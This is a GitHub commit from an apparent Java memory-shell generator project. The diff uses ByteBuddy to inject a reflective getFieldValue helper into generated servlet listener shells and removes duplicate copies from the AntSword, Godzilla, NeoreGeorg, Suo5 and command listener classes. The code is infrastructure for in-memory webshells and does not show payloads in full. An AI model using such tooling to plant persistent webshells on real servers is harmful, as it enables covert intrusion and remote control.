Skip to content

Commit 28098d1

Browse files
committed
refactor: dynamic add getFieldValue method for Listener
1 parent fdae5a7 commit 28098d1

File tree

8 files changed

+114
-110
lines changed

8 files changed

+114
-110
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

Lines changed: 21 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,11 @@
66
import net.bytebuddy.ByteBuddy;
77
import net.bytebuddy.asm.Advice;
88
import net.bytebuddy.asm.AsmVisitorWrapper;
9+
import net.bytebuddy.description.modifier.Ownership;
10+
import net.bytebuddy.description.modifier.Visibility;
911
import net.bytebuddy.dynamic.DynamicType;
1012
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
13+
import net.bytebuddy.implementation.FixedValue;
1114

1215
import java.util.Collections;
1316

@@ -21,19 +24,32 @@ public class ListenerGenerator {
2124

2225
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
2326
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
27+
boolean needAddGetFieldValue = false;
28+
try {
29+
targetClass.getMethod("getFieldValue", Object.class, String.class);
30+
} catch (NoSuchMethodException e) {
31+
needAddGetFieldValue = true;
32+
}
2433

25-
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
34+
DynamicType.Builder<?> builder = new ByteBuddy()
2635
.redefine(targetClass)
27-
.name(newClassName)
28-
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
36+
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
2937
.method(named("getResponseFromRequest"),
3038
new MethodCallReplaceVisitorWrapper(
3139
newClassName,
3240
Collections.singleton(ShellCommonUtil.class.getName()))
3341
)
3442
)
35-
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
36-
.make()) {
43+
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
44+
45+
if (needAddGetFieldValue) {
46+
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
47+
.withParameters(Object.class, String.class)
48+
.intercept(FixedValue.nullValue())
49+
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
50+
}
51+
52+
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
3753
return unloaded
3854
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
3955
.getLoaded();

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
package com.reajason.javaweb.memshell.utils;
22

3+
import net.bytebuddy.asm.Advice;
4+
35
import java.lang.reflect.Field;
46

57
/**
@@ -8,6 +10,7 @@
810
*/
911
public class ShellCommonUtil {
1012

13+
@SuppressWarnings("all")
1114
public static Object getFieldValue(Object obj, String name) throws Exception {
1215
Field field = null;
1316
Class<?> clazz = obj.getClass();
@@ -26,4 +29,74 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
2629
return field.get(obj);
2730
}
2831
}
32+
33+
public static class GetFieldValueInterceptor {
34+
@Advice.OnMethodExit
35+
@SuppressWarnings("all")
36+
public static void exit(@Advice.Argument(value = 0) Object obj,
37+
@Advice.Argument(value = 1) String name,
38+
@Advice.Return(readOnly = false) Object returnValue
39+
) throws Exception {
40+
Field field = null;
41+
Class<?> clazz = obj.getClass();
42+
while (clazz != Object.class) {
43+
try {
44+
field = clazz.getDeclaredField(name);
45+
break;
46+
} catch (NoSuchFieldException var5) {
47+
clazz = clazz.getSuperclass();
48+
}
49+
}
50+
if (field == null) {
51+
throw new NoSuchFieldException(name);
52+
} else {
53+
field.setAccessible(true);
54+
returnValue = field.get(obj);
55+
return;
56+
}
57+
}
58+
}
59+
60+
61+
@SuppressWarnings("all")
62+
public static String base64DecodeToString(String bs) {
63+
byte[] value = null;
64+
Class<?> base64;
65+
try {
66+
base64 = Class.forName("java.util.Base64");
67+
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
68+
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
69+
} catch (Exception var6) {
70+
try {
71+
base64 = Class.forName("sun.misc.BASE64Decoder");
72+
Object decoder = base64.newInstance();
73+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
74+
} catch (Exception ignored) {
75+
}
76+
}
77+
return value == null ? "" : new String(value);
78+
}
79+
80+
public static class Base64DecodeToStringInterceptor {
81+
82+
@Advice.OnMethodExit
83+
@SuppressWarnings("all")
84+
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
85+
byte[] value = null;
86+
Class<?> base64;
87+
try {
88+
base64 = Class.forName("java.util.Base64");
89+
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
90+
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
91+
} catch (Exception var6) {
92+
try {
93+
base64 = Class.forName("sun.misc.BASE64Decoder");
94+
Object decoder = base64.newInstance();
95+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
96+
} catch (Exception ignored) {
97+
}
98+
}
99+
returnValue = value == null ? "" : new String(value);
100+
}
101+
}
29102
}
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.memshell.server.TomcatShell;
4+
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
5+
import org.junit.jupiter.api.Test;
6+
7+
import static org.junit.jupiter.api.Assertions.assertNotNull;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/4/27
12+
*/
13+
class ListenerGeneratorTest {
14+
15+
@Test
16+
void testCommonListener() {
17+
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
18+
assertNotNull(clazz);
19+
}
20+
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java

Lines changed: 0 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@
44
import javax.servlet.ServletRequestListener;
55
import javax.servlet.http.HttpServletRequest;
66
import javax.servlet.http.HttpServletResponse;
7-
import java.lang.reflect.Field;
87

98
/**
109
* @author ReaJason
@@ -22,26 +21,6 @@ public AntSwordListener(ClassLoader z) {
2221
super(z);
2322
}
2423

25-
@SuppressWarnings("all")
26-
public static Object getFieldValue(Object obj, String name) throws Exception {
27-
Field field = null;
28-
Class<?> clazz = obj.getClass();
29-
while (clazz != Object.class) {
30-
try {
31-
field = clazz.getDeclaredField(name);
32-
break;
33-
} catch (NoSuchFieldException var5) {
34-
clazz = clazz.getSuperclass();
35-
}
36-
}
37-
if (field == null) {
38-
throw new NoSuchFieldException(name);
39-
} else {
40-
field.setAccessible(true);
41-
return field.get(obj);
42-
}
43-
}
44-
4524
@SuppressWarnings("all")
4625
public static byte[] base64Decode(String bs) {
4726
byte[] value = null;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 0 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
import javax.servlet.http.HttpServletRequest;
77
import javax.servlet.http.HttpServletResponse;
88
import java.io.InputStream;
9-
import java.lang.reflect.Field;
109

1110
/**
1211
* @author ReaJason
@@ -45,25 +44,4 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
4544
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
4645
return null;
4746
}
48-
49-
50-
@SuppressWarnings("all")
51-
public static Object getFieldValue(Object obj, String name) throws Exception {
52-
Field field = null;
53-
Class<?> clazz = obj.getClass();
54-
while (clazz != Object.class) {
55-
try {
56-
field = clazz.getDeclaredField(name);
57-
break;
58-
} catch (NoSuchFieldException var5) {
59-
clazz = clazz.getSuperclass();
60-
}
61-
}
62-
if (field == null) {
63-
throw new NoSuchFieldException(name);
64-
} else {
65-
field.setAccessible(true);
66-
return field.get(obj);
67-
}
68-
}
6947
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java

Lines changed: 0 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@
88
import javax.servlet.http.HttpServletResponse;
99
import javax.servlet.http.HttpSession;
1010
import java.io.ByteArrayOutputStream;
11-
import java.lang.reflect.Field;
1211

1312
/**
1413
* @author ReaJason
@@ -27,26 +26,6 @@ public GodzillaListener(ClassLoader z) {
2726
super(z);
2827
}
2928

30-
@SuppressWarnings("all")
31-
public static Object getFieldValue(Object obj, String name) throws Exception {
32-
Field field = null;
33-
Class<?> clazz = obj.getClass();
34-
while (clazz != Object.class) {
35-
try {
36-
field = clazz.getDeclaredField(name);
37-
break;
38-
} catch (NoSuchFieldException var5) {
39-
clazz = clazz.getSuperclass();
40-
}
41-
}
42-
if (field == null) {
43-
throw new NoSuchFieldException(name);
44-
} else {
45-
field.setAccessible(true);
46-
return field.get(obj);
47-
}
48-
}
49-
5029
@SuppressWarnings("all")
5130
public static String base64Encode(byte[] bs) throws Exception {
5231
String value = null;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java

Lines changed: 0 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -39,27 +39,6 @@ public Class<?> load(byte[] cb) {
3939
return super.defineClass(cb, 0, cb.length);
4040
}
4141

42-
43-
@SuppressWarnings("all")
44-
public static Object getFieldValue(Object obj, String name) throws Exception {
45-
Field field = null;
46-
Class<?> clazz = obj.getClass();
47-
while (clazz != Object.class) {
48-
try {
49-
field = clazz.getDeclaredField(name);
50-
break;
51-
} catch (NoSuchFieldException var5) {
52-
clazz = clazz.getSuperclass();
53-
}
54-
}
55-
if (field == null) {
56-
throw new NoSuchFieldException(name);
57-
} else {
58-
field.setAccessible(true);
59-
return field.get(obj);
60-
}
61-
}
62-
6342
@SuppressWarnings("all")
6443
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
6544
ByteArrayOutputStream out = new ByteArrayOutputStream();

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java

Lines changed: 0 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -571,26 +571,6 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
571571
}
572572
}
573573

574-
@SuppressWarnings("all")
575-
public static Object getFieldValue(Object obj, String name) throws Exception {
576-
Field field = null;
577-
Class<?> clazz = obj.getClass();
578-
while (clazz != Object.class) {
579-
try {
580-
field = clazz.getDeclaredField(name);
581-
break;
582-
} catch (NoSuchFieldException var5) {
583-
clazz = clazz.getSuperclass();
584-
}
585-
}
586-
if (field == null) {
587-
throw new NoSuchFieldException(name);
588-
} else {
589-
field.setAccessible(true);
590-
return field.get(obj);
591-
}
592-
}
593-
594574
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
595575
return null;
596576
}

0 commit comments

Comments
 (0)